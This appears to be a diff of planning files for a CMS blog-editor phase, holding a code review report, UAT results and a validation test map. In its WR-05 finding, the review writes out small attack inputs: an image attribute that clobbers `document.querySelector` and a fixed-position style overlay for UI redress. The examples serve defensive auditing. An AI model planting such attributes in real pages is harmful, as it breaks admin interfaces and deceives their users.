**Issue:** `uniqueMediaKey` calls `bucket.Exists` and then `bucket.NewWriter(ctx, key, nil)` writes without a precondition. Two concurrent uploads of the same name to the same folder both see the key as free, and the second write replaces the first. One post then shows the other's image. Clipboard and drag-and-drop images commonly share names such as `image.png`, and `safeUploadName` maps every nameless file to `image.<ext>`, so collisions are likely. The plan-03 fix (T-16.2-16, "never overwrites") covers only the 999-suffix exhaustion case.
**Fix:** Write with `&blob.WriterOptions{IfNotExist: true}` (available in gocloud.dev v0.46) and retry with the next suffix on a `gcerrors.FailedPrecondition`. Alternatively, add a short random component to editor upload names.
### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML; the first edit stores raw markdown as HTML in both columns
**File:** `../sm-journal-plugin/classes/blog_editor.go:112-115, 207`
**Issue:** A markdown post whose first non-space character is `<` is served as raw markdown in the WYSIWYG editor, not as its `content_html`. Examples: a hero `<img …>`, a leading `<div>`, or `<!-- comment -->` followed by `## Heading` and `**bold**`. Any edit makes `preparePostWrite` (`controllers/posts.go:212-224`) copy that string into `content_html`. From then on the site renders literal `##` and `**` markers. This is silent corruption on first edit; it is listed as assumption A1, but no safeguard backs it.
**Fix:** Do not decide by the first character alone. For example, treat the value as HTML only when `content_html` is empty, equals `content`, or equals `SanitizeHTML(content)`; otherwise serve `content_html`. Add a fixture with a markdown post that starts with `<img>`.
### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` and other stored attributes into the live admin DOM
**File:** `../sm-journal-plugin/assets/src/blogeditor/extensions.ts:100-125, 133-173`
**Issue:**
- `captureAttributes` and `renderCaptured` drop only `on*` names. Every other attribute of a paragraph, heading, list, table, cell, image, figure or link, and every attribute of a `span`, is rendered by ProseMirror into the contenteditable view in the admin document. This happens on the form and also on the read-only preview screen, which renders the element with `disabled`.
- Legacy imported HTML is never sanitized by an untouched save, so its attributes reach the admin DOM unchanged:
- `<img src=… name="querySelector">` clobbers `document.querySelector` (Document named properties override built-ins) and breaks the SPA while the post is open.
- `style="position:fixed;inset:0;z-index:99999;…"` can overlay the admin UI with attacker text (UI redress).
- `srcset` and `background` load remote resources.
- The policy also allows `id` globally, so any administrator can plant window-level named elements.
- Plan 02's statement "Stored HTML never reaches the live admin DOM" is inaccurate for attributes.
**Fix:** Switch to an allow-list that mirrors the server policy: `class`, `style` (filtered to the four allowed properties, as in htmlGate), `dir`, `lang`, `title`, `itemscope`/`itemtype`/`itemprop`, `data-message-*`, plus element-specific attributes. Keep any other attribute only as an opaque value on the node, and serialize it in the inert document without rendering it in the view. One way is to render `htmlAttrs` in the view through `addNodeView` or a `renderHTML` that filters by a view-safe list, while the serializer path emits everything. At minimum, drop `id`, `name`, `form`, `srcset`, `contenteditable`, `popover*` and `style` from the view rendering.
### WR-06: Translatable Decode can receive non-string values despite the documented pact contract
**File:** `modules/cabana/field_type.go:476-486`, `modules/pact/capabilities.go` (FormFieldValue doc: "it is a string for a translatable type")
**Issue:** `liftMLValues` validates only object-shaped submissions. A scalar submitted for a translatable plugin field (`null`, `3`, `true`) passes through `projectOperation` and reaches `ft.def.Decode` as `nil`/`float64`/`bool`. The published API promises a string, so a third-party type that does `in.Value.(string)` will panic, and the save fails as an unexpected 500. Journal guards against this; the framework contract does not.
**Fix:** Enforce the contract in `decodePluginFields` before calling `decodeOne` for a translatable default value:
```go
switch v := value.(type) {
case string:
case nil:
value = ""
default:
return pluginDecodeResult{}, &ValidationError{Details: fieldDetail(field.Name, "The "+field.Name+" field must be text or an object of locale codes to text.")}
}
```
Alternatively, change the pact doc to "any JSON scalar".
### WR-07: "View site" links to the admin's own origin, which is wrong for the headless deployment
**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
**Issue:** `siteURL = ${window.location.origin}/` assumes the public site and the admin share an origin. v1 is a headless backend with a separate Nuxt frontend. When the admin is served from an API or admin host, the link opens the Go binary's root (the SPA shell or a 404), not the site. WinterCMS's "View site" uses the configured application URL. The link attributes themselves are safe (`noopener noreferrer`, fixed origin).
**Fix:** Serve the site URL from configuration, for example an `app.url` or `backend.site_url` key exposed in `/navigation` or `/me`. Hide the link when the key is unset, or fall back to the origin only when it is explicitly configured as the same host. Update the module README and config docs in the same change.
### WR-08: The phase gate prints "Phase 16.2 gate passed" (exit 0) without running the data-loss regression suites
**File:** `scripts/check-phase16.2.sh:521-544`
**Issue:** The header calls the script fail-closed. Yet `--all` (the default mode) exits 0 and prints "Phase 16.2 gate passed" when Docker is unreachable. The Postgres stage holds `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`, `TestCategoriesAdminBlogEditor` and `TestFieldTypeSavePostgres`, which are this phase's D-03/D-10 acceptance tests. Plan 06 records that this host has no Docker, so the green gate was produced without them. A CI job or a later reader that trusts the exit code will treat the phase as verified.
**Fix:** Make the default fail closed. Exit non-zero, or at least print "Phase 16.2 gate INCOMPLETE" and exit 3, when Postgres did not run, unless `PHASE162_ALLOW_NO_POSTGRES=1` is set. This inverts the current `PHASE162_REQUIRE_POSTGRES` opt-in.
## Info
### IN-01: An embed placeholder that both policies accept may never expand
**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
**Issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`, double-quoted, with an empty body. A placeholder written in the Source tab as `<figure data-id="…" data-embed="youtube"></figure>` passes the Go policy and the layer sanitizer. sanitize-html keeps attribute order, so it renders as an inert empty figure with no error anywhere. The editor's Embed node accepts either order (`extensions.ts:327-341`).
**Fix:** In the layer, match either attribute order (or parse the figure's attributes after sanitizing). Alternatively, have Decode normalize the placeholder's attribute order.
### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
**Issue:** The iframe is fixed to youtube-nocookie with a validated id, which is fine, but it has no `sandbox` attribute as defence in depth. `EMBED_PLACEHOLDER` is an exported global regex; a consumer that calls `.test()` or `.exec()` on it gets stateful results.
**Fix:** Add `sandbox="allow-scripts allow-same-origin allow-presentation allow-popups"`. Export a factory or a non-global pattern and build the `/g` regex inside `expandEmbeds`.
### IN-03: Plugin aliases can shadow list column types, and ListValue is then silently ignored
**File:** `modules/cabana/field_type.go:104-109`, `modules/cabana/list_schema.go:22-24, 242-251`
**Issue:** `checkFieldTypeDef` refuses only `formFieldTypes`. A plugin alias `date`, `datetime` or `time` is accepted at boot, but a list column of that type resolves to the built-in column type and never calls the plugin's `ListValue`.
**Fix:** Also refuse aliases in `listColumnTypes`.
### IN-04: `crypto.randomUUID()` throws outside a secure context
**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:551`
**Issue:** On an admin served over plain HTTP from a non-localhost host (a LAN dev box), `crypto.randomUUID` is undefined and every upload throws. The status line still says "uploading".
**Fix:** Fall back to `crypto.getRandomValues` or a counter for the request id.
### IN-05: content_html translations are skipped silently when the application is unavailable
**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
**Issue:** `writeContentHTMLTranslations` returns nil when `c.application()` or the writer is nil, while cabana has already written the `content` translation through its own writer. The two columns then diverge with no error.
**Fix:** Return an error, which aborts the transaction, when a non-default write exists but no writer can be resolved.
### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
**File:** `modules/cabana/field_type.go:641-651`
**Issue:** JSON transport replaces invalid UTF-8 with U+FFFD, so the echoed value never equals the served value under `sameJSON`. An untouched save then rewrites such a row with replacement characters, which breaks D-03 for those rows.
**Fix:** Document the limitation, or compare after normalizing the served value with `strings.ToValidUTF8(s, "<22>")`.
### IN-07: "Edit as HTML" selects the first identical block
**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
**Issue:** `textarea.value.indexOf(html)` selects the first occurrence when two raw HTML blocks are identical, so the wrong block is highlighted.
**Fix:** Pass the node position and map it to the block's source offset through `#blocks`.
### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
**File:** `modules/cabana/field_type.go:33-36`
**Issue:** `pluginFieldKeys` excludes general keys such as `readOnly` (and `checkFieldTypeDef` forbids options with those names), but `PluginField.vue:50` honours `field.readOnly`. A plugin field can therefore never be made read-only from fields.yaml.
**Fix:** Allow the general keys the SPA and server already understand (`readOnly`, `hidden`, `placeholder`, `cssClass`) for plugin fields, or document the restriction in `docs/backend/field-types.md`.
---
_Reviewed: 2026-10-10T14:29:09Z_
_Reviewer: Claude (msd-code-reviewer)_
_Depth: standard_

View File

@@ -0,0 +1,86 @@
---
status: complete
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
source: [16.2-VERIFICATION.md]
started: 2026-10-10T14:54:46Z
updated: 2026-10-10T19:15:00Z
---
## Current Test
[testing complete]
## Tests
### 1. Postgres suites on a Docker host
expected: bash scripts/check-phase16.2.sh postgres passes. This is the end-to-end proof for the CR-01 and WR-04 Load changes and for the category save.
result: pass
reported: "Re-run after 16.2-07 (gate2.log, 2026-10-10 18:44): phase16.2 postgres passed — 293 cabana tests and 78 sm-journal-plugin tests; full gate \'Phase 16.2 gate passed\', exit 0. Was: TestPhase10OpenAPIConformance had no case for GET /field-types (G-16.2-1, fixed in 11be08d)."
### 2. D-19 category content on UAT (WINDOWS 18)
expected: Change one word in a category body and save. No removal notice appears, and the site shows the change.
result: pass
reported: "Re-run on v0.1.20 with the site cache purge (16.2-07 Task 6): user changed \'zajmują ważne miejsce\' to \'zajmują bardzo ważne miejsce\' on category 2, no removal notice, change visible on the first view of /cordyceps by reload and menu link. category-purged and category-fresh pass; phrase found once in the server-rendered page. Was: Nitro swr cache served the old page (G-16.2-2)."
### 3. Untouched re-save after the next deploy (with the CR-01/WR-04 fixes)
expected: Re-save posts 1 and 64 untouched. The md5 SELECT is unchanged (1: a026264105f900175b9770e637e5ec5c both columns; 64: 0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c) and updated_at moves.
result: pass
reported: "Re-run on v0.1.20 (includes CR-01/WR-04), 16.2-07 Task 6: user re-saved posts 1 and 64 untouched, no removal notice. posts-unchanged (md5 equal to the snapshot, updated_at moved past the 17:57:57Z restart) and translations-unchanged pass."
### 4. Preview pane in a real browser (quick 261010-iwu)
expected: 50/50 split; the pane wraps below the editor when the element is narrower than about 720px; a <script> in a raw HTML block stays inert; YouTube thumbnails load; relative /storage images resolve.
result: pass
### 5. Accept the sandboxed preview iframe as an exception to plan 02's "no iframe in the admin"
expected: The human accepts the empty-sandbox srcdoc preview, or asks for a change.
result: pass
## Summary
total: 5
passed: 5
issues: 0
pending: 0
skipped: 0
blocked: 0
## Gaps
- gap_id: G-16.2-1
truth: "bash scripts/check-phase16.2.sh postgres passes on a Docker host"
status: resolved
reason: "Observed by Claude running the postgres stage: TestPhase10OpenAPIConformance fails: admin route GET /field-types (added in 16.2) has no conformance case in modules/cabana/openapi_conformance_test.go; the Journal Postgres suites never ran because the stage aborted"
severity: major
test: 1
root_cause: "Two 16.2 test defects, hidden because both checks live in Docker-gated packages and the 16.2 execution host had no Docker: (1) TestPhase10OpenAPIConformance has no case for the two routes plan 16.2-01 added to phase09Routes/admin.json, GET /field-types and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (map order decides which is reported); (2) sm-journal-plugin TestJournalSVGEmbed still asserts post content type mlmarkdown, but 16.2-03 changed it to mlblogeditor. The gate's go stage (FRAMEWORK_RUN) never runs the route check. All four Journal Postgres suites named in Test 1 and the rest of cabana pass on a Docker host."
artifacts:
- path: "modules/cabana/openapi_conformance_test.go"
issue: "no conformance case for GET /field-types or the field upload route; conformPlugin registers no plugin field type; route-key check runs after the testcontainers setup"
- path: "../sm-journal-plugin/plugin_test.go"
issue: "TestJournalSVGEmbed lines 122-123 expect type: mlmarkdown"
- path: "scripts/check-phase16.2.sh"
issue: "FRAMEWORK_RUN does not include the route-coverage check"
- path: ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md"
issue: "new-route checklist omits openapi_conformance_test.go"
missing:
- "Conformance case for GET /field-types (200, cabana.FieldTypesResponse), with conformPlugin implementing pact.HasFormFieldTypes"
- "Conformance case for the field upload route (201, cabana.Envelope-cabana_FieldUploadResponse, multipart file)"
- "TestJournalSVGEmbed expects type: mlblogeditor"
- "Route-coverage check runnable without Docker and included in the gate's go stage"
debug_session: .planning/debug/postgres-gate-field-types-conformance.md
- gap_id: G-16.2-2
truth: "Changing one word in a category body and saving shows no removal notice, and the site shows the change"
status: resolved
reason: "User reported: something is wrong. Updated content in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2 (\"Te grzyby, szczególnie\" changed into \"Te grzyby, a szczególnie\") and i see the change in backend even after refresh but not on frontend"
severity: major
test: 2
root_cause: "Not a 16.2 save defect. DB row (category 2, content) and the Journal API both hold the new text. The public page was served from the host Nuxt app's Nitro swr route cache (nuxt.config.ts routeRules '/**': { swr: 300 }, per Phase 16 D-07): /cordyceps was cached at 14:59:08 UTC, 40 s before the first save, and all post-save views fell inside the 300 s fresh window. Nothing purges the cache on admin save; after expiry the first view still gets stale content and triggers revalidation. At 15:25 UTC the page served the new text with no intervention. The UAT expectation omitted the cache window."
artifacts:
- path: "sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts"
issue: "swr 300 / 120 route cache with no purge path on admin save (by design, Phase 16 D-07)"
- path: ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md"
issue: "Test 2 expectation does not account for the swr TTL"
missing:
- "User decision 2026-10-10: fix in 16.2. A Journal post/category save clears the matching host Nuxt page cache entries (pages, /blog lists, _payload.json) so the site shows the edit on the next view"
debug_session: .planning/debug/category-content-not-on-site.md

View File

@@ -0,0 +1,113 @@
---
phase: "16.2"
slug: "plugin-provided-field-types-and-the-blog-editor-formwidget"
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
status: draft
nyquist_compliant: true
wave_0_complete: true
created: "2026-10-09"
revised: "2026-10-10"
---
# Phase 16.2 — Validation Strategy
> Per-phase validation contract for feedback sampling during execution.
---
## Test Infrastructure
| Property | Value |
|----------|-------|
| **Framework** | Go `testing` (+ testify); admin vitest 3.2.7 + happy-dom; sm-journal-plugin vitest 3.2.7 (new, Wave 0); vue-journal-layer `node --test` |
| **Config file** | `admin/vitest.config.ts`; `../sm-journal-plugin/vitest.config.ts` (Wave 0); `../vue-journal-layer/package.json` `test` script |
| **Quick run command** | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
| **Full suite command** | `go vet ./... && go test -short ./...` (summercms.go); `npm --prefix admin test`; `go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -short ./... && npm --prefix ../sm-journal-plugin test`; `npm --prefix ../vue-journal-layer test` |
| **Estimated runtime** | ~120 seconds |
---
## Sampling Rate
- **After every task commit:** `go vet` + `go test -short` for the touched packages, plus the touched vitest file
- **After every plan wave:** every full-suite command above
- **Before `/msd-verify-work`:** full suites green, `bash scripts/check-admin-dist.sh`, `bash scripts/check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `go test ./cmd/summer -run TestDocsTree`, and the human Docker-host run of the testcontainers suites
- **Max feedback latency:** 120 seconds
---
## Per-Task Verification Map
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-11 | T-16.2 boot | Alias pattern, core and cross-plugin clash (both IDs named), element prefix and reserved tag, missing Decode, missing AdminFS, asset path and extension fail boot | unit | `go test -count=1 -run '^TestFieldTypeRegistry$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.1 | — | Option key pattern, field-key clash and repeats fail boot; an undeclared fields.yaml key fails naming field and key | unit | `go test -count=1 -run '^TestFieldTypeOptions$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-12 | — | General keys accepted, core type keys refused, option values of every YAML kind decoded, CheckOptions error surfaced; CompileForm core-only; settings and relation forms refuse plugin types | unit | `go test -count=1 -run '^TestFieldTypeCompile$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.2 / D-10 | XSS | FormFieldError on the default or a non-default locale → 422 on the field, no write, no notices; other errors and a non-string translatable value → opaque 500 | unit | `go test -count=1 -run '^TestFieldTypeDecode$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-10 | — | Notices → meta.notices with field and locale, localized through phrasebook (Count plural, Params), ≤ 10 per field and locale, ≤ 500 runes; no notices key when none | unit | `go test -count=1 -run '^TestFieldTypeNotices$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-03-T1, 16.2-06-T2 | 03, 06 | 2, 4 | D-10 / D-02 | XSS | Journal Decode strips per locale and reports; clean HTML byte-identical with no notice; report empty exactly when nothing changed; notices only when stripped | unit | `go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode\|TestBlogEditorNotices\|TestSanitizeHTMLReport)$' ./classes/` | ✅ | ✅ green |
| 16.2-03-T3, 16.2-06-T2 | 03, 06 | 2, 4 | D-05 | XSS | Editor corpus passes SanitizeHTML byte for byte; the four editor rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframe stripped) | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestEditorOutputPassesPolicy$' ./classes/` | ✅ | ✅ green |
| 16.2-01-T4, 16.2-06-T3 | 01, 06 | 1, 4 | D-10 | XSS | Save notices render as literal text under the field (aria-describedby) and in the toast; stored value reloaded into the element | vitest | `npm --prefix admin test -- tests/form/FormField.test.ts tests/form/formState.test.ts tests/form/PluginField.test.ts` | ✅ | ✅ green |
| 16.2-01-T3, 16.2-06-T1 | 01, 06 | 1, 4 | D-03 | — | Untouched value writes and reports nothing; one changed locale writes only that locale; canonical JSON comparison; create never skips | unit | `go test -count=1 -run '^TestFieldTypeUntouched$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.3 | — | Load per locale; nil Load keeps the stored value; Load errors (FormFieldError included) are opaque 500 | unit | `go test -count=1 -run '^TestFieldTypeLoad$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.4 | — | List column uses ListValue with the request ctx; nil ListValue keeps the raw value | unit | `go test -count=1 -run '^TestFieldTypeListValue$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-14 | — | FieldWritesFromContext copies; false outside a save; Before and After hooks of create and update see the same writes | unit | `go test -count=1 -run '^TestFieldTypeWrites$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-13 | — | GET /field-types sorted, versioned asset URLs under the admin prefix, [] lists, 401 without a backend session | unit | `go test -count=1 -run '^TestFieldTypesRoute$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-01-T4 | 01 | 1 | D-13 / D-15 | — | Schema/OpenAPI/TS in sync; admin dist current | unit + script | `bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-01-T4, 16.2-06-T1, 16.2-06-T3 | 01, 06 | 1, 4 | D-13 / D-03 | — | PluginField binds value, takes summer-change, never re-sets an echoed value; fieldTypes loads each script once, global styles stay on, nothing rejects; registry renders PluginField / MLPluginField | vitest | `npm --prefix admin test -- tests/form/PluginField.test.ts tests/app/fieldTypes.test.ts tests/form/registry.test.ts tests/list/ListView.test.ts` | ✅ | ✅ green |
| 16.2-01-T3, 16.2-03-T2, 16.2-06-T2 | 01, 03, 06 | 1, 2, 4 | D-18 | upload | Upload 201, 403, 401, 404 (core field, no Upload, unknown field, context refusal, unknown controller), 413, 422 (FormFieldError, missing/misnamed/extra part, not multipart), opaque 500; Journal sniffing refuses disguised files and svg; safe names; StoreMedia never overwrites | unit | `go test -count=1 -run '^TestFieldUpload$' ./modules/cabana && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorUpload\|TestStoreMedia)$' ./classes/` | ✅ | ✅ green |
| 16.2-03-T1, 16.2-06-T1 | 03, 06 | 2, 4 | D-07 | — | HTML served verbatim (leading white space, comment); markdown served as content_html, empty falls back to FormatHTML; nil and empty pointers give "" | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' ./classes/` | ✅ | ✅ green |
| 16.2-03-T1, 16.2-06-T2 | 03, 06 | 2, 4 | D-02 / D-14 | — | Posts hooks: default write copied to content_html, non-default writes through the TranslationWriter, nothing for untouched content or without a writer | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` | ✅ | ✅ green |
| 16.2-02-T2, 16.2-02-T3, 16.2-06-T1, 16.2-06-T3 | 02, 06 | 1, 4 | D-03 / D-04 | XSS | Element returns an untouched value byte for byte through Source, tabs, preview and reattach; raw HTML cards are escaped text; every raw tag rule; figures; links limited to http, https, mailto, relative; block reuse after edit, deletion and insertion | vitest | `npm --prefix ../sm-journal-plugin test` | ✅ | ✅ green |
| 16.2-02-T3 | 02 | 1 | D-05 | — | Committed editor corpus equals the editor's current output | vitest | `npm --prefix ../sm-journal-plugin test -- tests/blogeditor/corpus.test.ts` | ✅ | ✅ green |
| 16.2-03-T1, 16.2-06-T1 | 03, 06 | 2, 4 | todo resave / D-03 | — | Untouched GET-then-PUT of an HTML and a markdown post byte-identical with no notices and no translated content added; a clean edited save stores equal content and content_html per locale | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run TestPostsAdminResaveKeepsHTML .` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
| 16.2-03-T1 | 03 | 2 | D-10 / D-02 | XSS | Admin post save strips unsafe markup in both columns per locale and reports it (no 422) | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run TestPostsAdminSaveSanitizesHTML .` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
| 16.2-03-T2, 16.2-06-T2 | 03, 06 | 2, 4 | D-19 / D-10 | XSS | Category content: untouched saves keep imported markup and NULL, clean edit as sent, unsafe edit stripped with notices (no 422), blank to NULL, editor upload under journal/categories | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestCategoriesAdminContent\|TestCategoriesAdminBlogEditor)$' .` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12 / D-18 | upload | Real-database create, show, untouched and changed update, refused update rolls back, upload in and out of the FormExtendQuery scope | integration (Postgres) | `go test -count=1 -run '^TestFieldTypeSavePostgres$' ./modules/cabana` | ✅ | ✅ green (Docker host, gate postgres stage, 16.2-07) |
| 16.2-04-T1, 16.2-06-T3 | 04, 06 | 2, 4 | D-17 / D-05 | iframe | Embed allowlist and id regex; sanitize first, expand last at each sink, never in payload transforms; stored iframe stripped; corpus safe under the mirror; Go negatives stripped the same way; corpus copies identical | node:test + cmp | `npm --prefix ../vue-journal-layer test && cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` | ✅ | ✅ green |
| 16.2-01-T2, 16.2-06-T3 | 01, 06 | 1, 4 | docs | — | README/docs identifiers exist; plugin dist current | unit + script | `go test -count=1 ./cmd/summer -run TestDocsTree && bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ | ✅ green |
| 16.2-06-T3 | 06 | 4 | all | T-16.2-29 | Phase gate: every runnable stage fail-closed, detectors self-tested | script | `bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all` | ✅ | ✅ green |
| 16.2-07-T1 | 07 | 5 | D-19 | T-16.2-36, T-16.2-38 | Tracer: a category admin update sends one authorized purge after its commit; on a built swr site a cached page shows a change on the first request after the purge; unauthenticated, wrong-token and proxied purges refused | integration (Postgres) + e2e | `go -C ../sm-journal-plugin test -count=1 -run '^TestCategoriesAdminPurgesSiteCache$' . && pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/purge-check.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --kind post --slug hello-acme --path /blog/hello-acme` | ✅ | ✅ green |
| 16.2-07-T2 | 07 | 5 | D-19 | T-16.2-37, T-16.2-40, T-16.2-42 | Every admin post and category write purges after commit; boot refuses bad purge config; route-cached pages and 304s carry max-age=0; second purge after re-cache runs; payload purged; no-token server 404 | integration (Postgres) + e2e | `go -C ../sm-journal-plugin test -count=1 -run '^(TestCategoriesAdminPurgesSiteCache\|TestPostsAdminPurgesSiteCache)$' . && bash scripts/check-phase16.2.sh cache` | ✅ | ✅ green |
| 16.2-07-T3 | 07 | 5 | D-13, D-18 | T-16.2-44 | Every inventoried admin route has a conformance case, checked without Docker; GET /field-types and the field upload route decode into their documented types with unknown fields disallowed and match admin.json; TestJournalSVGEmbed expects mlblogeditor | unit + integration (Postgres) | `go test -count=1 -short -run '^TestPhase10ConformanceInventory$' ./modules/cabana && go test -count=1 -run '^TestPhase10OpenAPIConformance$' ./modules/cabana` | ✅ | ✅ green |
| 16.2-07-T3 | 07 | 5 | D-19 | T-16.2-37, T-16.2-39, T-16.2-41 | Purger config table, request contract, Warn on 500/401, 2 s timeout, cancelled parent context, no token in logs; layer auth, purge, body parsing and revalidation | unit + node:test | `go -C ../sm-journal-plugin test -count=1 -run '^(TestSiteCachePurgeConfig\|TestSiteCachePurgeRequest)$' ./classes/ && npm --prefix ../vue-journal-layer test` | ✅ | ✅ green |
| 16.2-07-T3 | 07 | 5 | all | T-16.2-44 | Full gate including the Docker suites and the cache stage | script | `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all` | ✅ | ✅ green |
| 16.2-07-T4 | 07 | 5 | release | T-16.2-45 | Release gate: clean trees, nothing behind origin, proposed tags absent on origin, human decision | script + human | `bash scripts/check-phase16.2.sh --self-test && test -z "$(git status --porcelain -- modules admin docs scripts cmd)" && test -z "$(git ls-remote --tags origin refs/tags/v0.1.20)"` | ✅ | ⬜ pending |
| 16.2-07-T5 | 07 | 5 | release | T-16.2-36, T-16.2-37, T-16.2-45 | UAT deploy: smoke, binary sha256 equal, both programs running, tokens equal and never printed, on-server purge 200 with purged >= 1, nginx POST 403, no-token 401 | script (ssh) | Task 5 verify commands in 16.2-07-PLAN.md (smoke ok, deploy-ok, token-match, purge-ok) | ✅ | ⬜ pending |
| 16.2-07-T6 | 07 | 5 | D-03, D-19 | T-16.2-46 | UAT Test 3 untouched re-saves byte-identical; UAT Test 2 category edit visible on the next view after a logged purge | psql (read-only) + human | Task 6 verify commands in 16.2-07-PLAN.md (posts-unchanged, translations-unchanged, category-purged, category-fresh) | ✅ | ⬜ pending |
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky or manual (Docker host)*
---
## Wave 0 Requirements
- [x] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, vitest + happy-dom setup, `scripts/check-dist.sh` (plan 02)
- [x] `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` (plan 02) and its layer copy `../vue-journal-layer/tests/fixtures/editor-corpus.json` (plan 04)
- [x] `../sm-journal-plugin/classes/editor_policy_test.go` (plan 03, extended in plan 06)
- [x] `modules/cabana/field_type_test.go` — registry, options, compile, decode, notices, skip, load, list, writes, routes, upload (plan 06)
- [x] `admin/tests/form/PluginField.test.ts` — stub custom element (plan 01, extended in plan 06)
- [x] `../vue-journal-layer/tests/embeds.test.ts` (plan 04, extended in plan 06)
---
## Manual-Only Verifications
| Behavior | Requirement | Why Manual | Test Instructions |
|----------|-------------|------------|-------------------|
| Editing imported posts on UAT | Phase goal | Real browser editing of live posts | Open an imported post, save untouched (no notice, md5 unchanged), then edit and save; compare columns |
| Strip and report on UAT | D-10 (amended) | Needs the admin session and a real save | Add a harmless style block and onclick in the source tab of an unpublished test post, save: it succeeds, the notice names both, the stored columns are equal and contain neither (plan 05 Task 3) |
---
## Validation Sign-Off
- [x] All tasks have `<automated>` verify or Wave 0 dependencies
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
- [x] Wave 0 covers all MISSING references
- [x] No watch-mode flags
- [x] Feedback latency < 120s for the Docker-free stages; the Docker suites run in the gate's postgres stage on a Docker host (`PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all`, 16.2-07)
- [x] nyquist_compliant set to true in the frontmatter
**Approval:** automated map complete (plan 06, 2026-10-10); the Docker-host suites are automated in the gate's postgres stage since plan 07 (2026-10-10); the UAT rows above stay manual

View File

@@ -0,0 +1,267 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
verified: 2026-10-10T20:10:00Z
status: passed
score: 14/14 must-haves verified
covered_files:
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-PLAN.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-PLAN.md
